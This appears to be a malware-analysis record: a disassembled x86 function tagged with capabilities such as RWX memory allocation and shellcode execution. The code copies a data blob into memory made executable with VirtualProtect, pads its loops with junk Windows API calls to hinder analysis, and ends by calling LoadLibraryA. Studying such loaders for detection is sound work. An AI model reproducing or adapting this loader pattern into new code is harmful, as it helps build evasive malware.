Function at 0x40395e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x803bc7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1cd4
call fcn.0040bd90
push ebx
push esi
xor esi, esi
cmp dword [0xc6ad9c], 0x5b1
push edi
jne 0x4039fe
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402e80
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x24]
call fcn.00403cb6
push esi
mov dword [esp + 0x1cf0], esi
call fcn.0040484b
pop ecx
call fcn.004047e9
lea ecx, [esp + 0x18]
call fcn.0040359c
lea ecx, [esp + 0x18]
call fcn.004035b5
push esi
push esi
call fcn.00404b68
push esi
call fcn.00404b39
add esp, 0xc
push esi
call fcn.00404f81
add dword [0xc6ad9c], 0x1134b
push dword [0xc6ad9c]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push dword [0xc6ad9c]
mov dword [0xc43f3c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403a56
inc edi
cmp edi, 0x4f6a4
jl 0x403a36
xor edi, edi
cmp dword [0xc6ad9c], esi
jbe 0x403ab4
cmp dword [0xc6ad9c], 0xa8
mov eax, dword [0xc6b800]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0xc43f3c]
mov byte [ecx + edi], al
jne 0x403aab
push 0x402ed0
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402f30
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc edi
cmp edi, dword [0xc6ad9c]
jb 0x403a60
xor edi, edi
mov eax, dword [0xc6ad9c]
add eax, edi
cmp eax, 0xe
jne 0x403b1a
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402eb4
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [esp + 0x8e4]
push eax
push esi
push 0x402f90
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402fe0
push 0x4030d8
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0x14e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x403ab6
call fcn.00403847
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403b37
call fcn.00403944
inc edi
cmp edi, 0x6753f
jl 0x403b2a
push 0x7b
pop edi
cmp dword [0xc6ad9c], 0x86
jne 0x403ba8
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x403110
push 0x403168
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x4031bc
push 0x4031f0
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x10e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x4e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x403b43
push 0x402f24
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x1ce4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret